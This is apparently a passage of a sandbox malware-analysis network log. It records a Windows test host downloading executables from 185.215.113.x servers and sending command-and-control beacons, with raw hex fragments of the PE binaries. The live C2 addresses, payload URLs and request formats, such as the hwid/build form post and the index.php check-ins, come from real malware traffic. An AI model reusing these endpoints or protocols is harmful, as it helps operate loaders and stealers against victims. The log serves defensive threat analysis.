cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL$g"Xw@`\|@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Nov 1, 2024 08:51:42.106996059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 1, 2024 08:51:42.107002974 CET	224	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\
Nov 1, 2024 08:51:42.107021093 CET	1236	IN	Data Raw: 8b ce c7 06 44 c9 49 00 e8 74 02 00 00 ff 76 04 e8 82 e8 01 00 8b f3 c7 87 4c fd ff ff 40 c9 49 00 59 39 9f 54 fd ff ff 0f 87 f2 0f 04 00 ff b7 50 fd ff ff 89 9f 54 fd ff ff e8 58 e8 01 00 8b f3 c7 87 3c fd ff ff 40 c9 49 00 59 39 9f 44 fd ff ff Data Ascii: DItvL@IY9TPTX<@IY9D@D.,@IY9404Y$<IvY-
Nov 1, 2024 08:51:42.107048035 CET	112	IN	Data Raw: 64 00 00 00 33 c9 66 a3 32 15 4d 00 41 a2 34 15 4d 00 6a 0a 89 0d 38 15 4d 00 89 0d 3c 15 4d 00 89 0d 40 15 4d 00 a2 50 15 4d 00 66 a3 fc 16 4d 00 89 0d f4 16 4d 00 89 0d f8 16 4d 00 b9 fa 00 00 00 58 89 0d 14 17 4d 00 a3 44 15 4d 00 a3 48 15 4d Data Ascii: d3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@
Nov 1, 2024 08:51:42.107081890 CET	1236	IN	Data Raw: 01 00 59 ff 75 08 8b f0 8b ce e8 11 00 00 00 8b 4f 04 89 4e 38 89 77 04 5e ff 07 5f 5d c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 Data Ascii: YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jA
Nov 1, 2024 08:51:42.107104063 CET	1236	IN	Data Raw: cc 00 00 85 c0 78 0f 8d 4d ec e8 16 00 00 00 8b 4d 10 33 f6 88 01 8d 4d ec e8 ed af 00 00 8b c6 5e c9 c2 0c 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 Data Ascii: xMM3M^At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u
Nov 1, 2024 08:51:42.107115984 CET	424	IN	Data Raw: c0 0f 85 7b 03 04 00 8b 18 8d 8d 6c ff ff ff e8 65 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 45 fc 85 c0 0f 88 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 Data Ascii: {lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]
Nov 1, 2024 08:51:42.107131958 CET	1236	IN	Data Raw: f8 8b 5d fc 83 e8 05 0f 85 a7 fc ff ff e9 d3 fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 d4 03 04 00 83 7d f4 00 0f 85 82 fc ff ff e9 db 03 04 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 d8 03 04 00 ff 45 f0 8d 45 ec 89 7d ec 8d 8d 78 ff ff ff 50 47 Data Ascii: ]AjYf9H}AjYf9HEE}xPG\|EIEE}`PGdE%}U]/EHOxE}Ex\|EEx;
Nov 1, 2024 08:51:42.107141972 CET	212	IN	Data Raw: 35 18 14 4d 00 ff 15 68 c3 49 00 ff 74 24 14 b9 f0 13 4d 00 e8 59 40 00 00 8a 5c 24 11 ff 35 00 14 4d 00 68 18 14 4d 00 e8 be f1 ff ff 85 c0 0f 85 61 00 04 00 80 7c 24 12 01 0f 84 73 00 04 00 e8 59 00 00 00 e8 34 01 00 00 80 3d 04 14 4d 00 00 bb Data Ascii: 5MhIt$MY@\$5MhMa\|$sY4=MMuW0M=MuD$8PIL$(m_^[]U4SVWj<Ihj8I54Ijc5XMh
Nov 1, 2024 08:51:42.111990929 CET	1236	IN	Data Raw: 00 ff 35 58 13 4d 00 a3 e0 13 4d 00 ff d6 68 a2 00 00 00 ff 35 58 13 4d 00 a3 e8 13 4d 00 ff d6 33 f6 a3 ec 13 4d 00 56 6a 10 6a 10 6a 01 6a 63 ff 35 58 13 4d 00 ff 15 a0 c5 49 00 8b 0d 58 13 4d 00 8b d0 a1 e0 13 4d 00 89 45 e8 8d 45 d0 50 89 15 Data Ascii: 5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5MfTM5MQv_^[VW5,I3W5XMWWjdh,PPhIPPWW5XMMjPWWWWhPW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	57863	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:51:45.949454069 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 08:51:46.838813066 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:51:46 GMT Content-Type: application/octet-stream Content-Length: 2799104 Last-Modified: Fri, 01 Nov 2024 07:45:47 GMT Connection: keep-alive ETag: "6724872b-2ab600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 36 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+6`Ui` @ @.rsrc`2@.idata 8@smhgitdo`T:@ntzismqa +@.taggant@ +"*@
Nov 1, 2024 08:51:46.838835955 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:51:46.838845968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:51:46.838865995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:51:46.838876009 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:51:46.838958979 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:51:46.838970900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:51:46.838983059 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:51:46.838992119 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:51:46.839005947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: s cs2=nn_31YoZc)Zb,$"0FF!GG
Nov 1, 2024 08:51:46.843857050 CET	1236	IN	Data Raw: 5b 6e 8c ce ea b2 de d6 db d9 a1 c1 96 33 62 b6 95 aa 9f 06 d3 a9 29 ec ab 92 fd 2c a5 c0 d7 e8 a7 e7 83 69 cc d1 84 c0 04 c9 0f 80 dd a6 24 72 3f 58 84 66 df 86 83 d4 f4 91 fa 71 21 81 ce 6e c9 ac ca ec af 84 1f 84 65 d5 8b 3c bd 17 b8 ad 55 3a Data Ascii: [n3b),i$r?Xfq!ne<U:l"G4u[dHDh%Fm?iM?'B>[+Fde[sC*T^i)OI58A.kF}<TOf
Nov 1, 2024 08:51:52.463116884 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 08:51:52.743923903 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:51:52 GMT Content-Type: application/octet-stream Content-Length: 1874432 Last-Modified: Fri, 01 Nov 2024 07:49:17 GMT Connection: keep-alive ETag: "672487fd-1c9a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf J@PJ_@WkDJTJ @.rsrcD@.idata @ )@hbhuwskf0~@ihphxsarJt@.taggant0 J"x@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	57879	185.215.113.43	80	3052	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:51:48.020848036 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 31 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003124001&unit=246122658369
Nov 1, 2024 08:51:48.922358036 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:51:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	57886	185.215.113.16	80	3052	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:51:48.934974909 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 08:51:49.952558041 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:51:49 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Nov 1, 2024 08:51:49.952579021 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj0rmE
Nov 1, 2024 08:51:49.952631950 CET	224	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 fb 95 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 0e 3f 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 2d 96 01 00 8d 8d f8 fb ff ff e8 f2 98 01 00 50 Data Ascii: QREPQ?-PqmPEjjRAM]UQMM\|MHM<M
Nov 1, 2024 08:51:49.952645063 CET	1236	IN	Data Raw: 30 e8 8d 95 01 00 8b 4d fc e8 e5 00 00 00 8b e5 5d c3 cc 55 8b ec 51 89 4d fc 8b 45 08 50 8b 4d fc e8 0d 01 00 00 8b 4d 08 83 c1 30 51 8b 4d fc 83 c1 30 e8 fb 94 01 00 8b 55 08 83 c2 3c 52 8b 4d fc 83 c1 3c e8 e9 94 01 00 8b 45 08 83 c0 48 50 8b Data Ascii: 0M]UQMEPMM0QM0U<RM<EHPMHMUBTATMUBXAXMUB\A\MUB`A`MUBdAdMUBhAhMUBlAlMUBpApMUBtAtMUBxAxM\|QM\|ME]
Nov 1, 2024 08:51:49.952662945 CET	1236	IN	Data Raw: c8 e8 69 92 01 00 8b c8 e8 d2 91 01 00 8b c8 e8 5b 92 01 00 8b c8 e8 54 92 01 00 8b c8 e8 4d 92 01 00 8b c8 e8 b6 91 01 00 50 8d 8d 94 fe ff ff e8 2a 91 01 00 8d 8d 6c fd ff ff e8 7f 90 01 00 8d 8d 78 fd ff ff e8 74 90 01 00 8d 8d 84 fd ff ff e8 Data Ascii: i[TMP*lxti^SH=R0Ph\|WB<QURHPhVBTQUR`PPi
Nov 1, 2024 08:51:49.952681065 CET	424	IN	Data Raw: 45 fc 6b c0 2c 03 85 90 00 00 00 83 ec 0c 8b cc 50 e8 75 8b 01 00 8b 4d fc 6b c9 2c 8b 95 90 00 00 00 8b 44 0a 0c 50 8b 4d fc 6b c9 2c 8b 95 90 00 00 00 8d 44 0a 10 83 ec 0c 8b cc 50 e8 49 8b 01 00 e8 a4 f7 ff ff 81 c4 b4 00 00 00 e9 58 ff ff ff Data Ascii: Ek,PuMk,DPMk,DPIXURM]UEsmsmUsmPsmAsmBsm]U}t#E8tMQ;U\|EEH
Nov 1, 2024 08:51:49.952694893 CET	1236	IN	Data Raw: 48 08 8b 55 fc 8b 45 08 8b 08 89 0a 8b 45 fc 8b e5 5d c3 55 8b ec a1 9c 73 6d 00 3b 45 0c 75 09 8b 4d 08 89 0d 9c 73 6d 00 8b 55 08 8b 42 04 8b 4d 0c 03 41 04 8b 55 08 89 42 04 8b 45 08 8b 4d 0c 8b 51 08 89 50 08 8b 45 0c 83 78 08 00 74 0c 8b 4d Data Ascii: HUEE]Usm;EuMsmUBMAUBEMQPExtMQEBE]UE]UE]U=smuh hjM2EPEMQsmR]E}uEPsmQAE}u3T
Nov 1, 2024 08:51:49.952718973 CET	1236	IN	Data Raw: 00 83 c4 0c a3 dc 6b 6d 00 6a 09 68 10 20 42 00 68 1c 20 42 00 e8 55 20 00 00 83 c4 0c a3 28 6d 6d 00 6a 0c 68 28 20 42 00 68 38 20 42 00 e8 3c 20 00 00 83 c4 0c a3 ac 6e 6d 00 6a 09 68 48 20 42 00 68 54 20 42 00 e8 23 20 00 00 83 c4 0c a3 24 6e Data Ascii: kmjh Bh BU (mmjh( Bh8 B< nmjhH BhT B# $nmjh` Bhp B kmjh Bh Bmmjh Bh B(kmjh Bh Bnmjh Bh BPkmjh Bh!B@omjh!Bh
Nov 1, 2024 08:51:49.952733994 CET	424	IN	Data Raw: 6d 00 6a 09 68 08 25 42 00 68 14 25 42 00 e8 88 1b 00 00 83 c4 0c a3 4c 6c 6d 00 6a 17 68 20 25 42 00 68 38 25 42 00 e8 6f 1b 00 00 83 c4 0c a3 1c 6f 6d 00 6a 0a 68 50 25 42 00 68 5c 25 42 00 e8 56 1b 00 00 83 c4 0c a3 8c 6b 6d 00 6a 0d 68 68 25 Data Ascii: mjh%Bh%BLlmjh %Bh8%BoomjhP%Bh\%BVkmjhh%Bhx%B=nmjh%Bh%B$(pmjh%Bh%BLnmjh%Bh%Bnmjh%Bh%BLomjh%Bh&Bhnmjh&Bh&B
Nov 1, 2024 08:51:49.952749014 CET	1236	IN	Data Raw: 6d 6d 00 6a 0b 68 30 27 42 00 68 3c 27 42 00 e8 df 19 00 00 83 c4 0c a3 d8 6d 6d 00 6a 0b 68 48 27 42 00 68 54 27 42 00 e8 c6 19 00 00 83 c4 0c a3 10 6e 6d 00 6a 10 68 60 27 42 00 68 74 27 42 00 e8 ad 19 00 00 83 c4 0c a3 e0 6a 6d 00 6a 13 68 88 Data Ascii: mmjh0'Bh<'BmmjhH'BhT'Bnmjh`'Bht'Bjmjh'Bh'Bkmjh'Bh'B{Lmmjh'Bh'Bbomjh'Bh'BIlmjh'Bh(B0lmjh(Bh(Bnmjh((Bh4(B
Nov 1, 2024 08:51:49.952771902 CET	1236	IN	Data Raw: f8 2d 42 00 e8 16 15 00 00 83 c4 0c a3 40 70 6d 00 6a 14 68 08 2e 42 00 68 20 2e 42 00 e8 fd 14 00 00 83 c4 0c a3 88 6b 6d 00 6a 12 68 38 2e 42 00 68 4c 2e 42 00 e8 e4 14 00 00 83 c4 0c a3 08 6d 6d 00 6a 10 68 60 2e 42 00 68 74 2e 42 00 e8 cb 14 Data Ascii: -B@pmjh.Bh .Bkmjh8.BhL.Bmmjh`.Bht.B\lmjh.Bh.B8mmjh.Bh.BXlmjh.Bh.BDlmjh.Bh/Bg<lmjh /Bh0/BNnmjh@/BhT/B5nmj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	57898	185.215.113.206	80	6660	C:\Users\user\AppData\Local\Temp\1003125001\num.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:51:54.556241035 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 08:51:55.480792046 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 08:51:55.533929110 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFHIIEHIEGDHJJJKFI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 39 41 42 42 36 34 34 33 46 42 34 31 30 39 33 35 33 31 37 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="hwid"9B9ABB6443FB4109353171------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="build"tale------IJKFHIIEHIEGDHJJJKFI--
Nov 1, 2024 08:51:55.827652931 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	57900	185.215.113.43	80	3052	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:51:55.537329912 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 31 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003125001&unit=246122658369
Nov 1, 2024 08:51:56.445422888 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:51:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	57903	185.215.113.43	80	3052	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:51:58.362150908 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 08:51:59.275218010 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:51:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	57905	185.215.113.43	80	3052	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
